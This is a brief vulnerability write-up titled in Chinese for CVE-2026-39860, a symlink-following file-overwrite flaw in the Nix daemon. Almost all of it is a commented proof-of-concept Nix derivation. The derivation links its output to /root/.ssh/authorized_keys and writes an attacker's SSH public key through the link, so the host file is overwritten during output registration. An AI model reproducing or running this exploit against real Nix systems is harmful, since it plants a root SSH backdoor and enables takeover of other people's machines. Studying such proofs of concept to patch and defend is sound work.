CVE-2026-39860 Nix符号链接任意文件覆盖漏洞

# Example of a malicious Nix derivation (conceptual PoC) # This derivation attempts to exploit the symlink following vulnerability. # It creates a symlink at the output path pointing to a sensitive file on the host. { pkgs ? import <nixpkgs> {} }: pkgs.stdenv.mkDerivation { name = "exploit-cve-2026-39860"; # Fixed-output derivation configuration outputHash = "0000000000000000000000000000000000000000000000000000"; # Placeholder hash outputHashAlgo = "sha256"; buildCommand = '' # Create a symlink at the derivation output path ($out) # pointing to a sensitive file on the host, e.g., root's authorized_keys. ln -s /root/.ssh/authorized_keys $out # Write malicious content (e.g., attacker's public key) # During output registration, Nix daemon follows the symlink # and overwrites the target file on the host. echo "ssh-rsa AAAAB3NzaC1yc2E... attacker@evil" > $out ''; }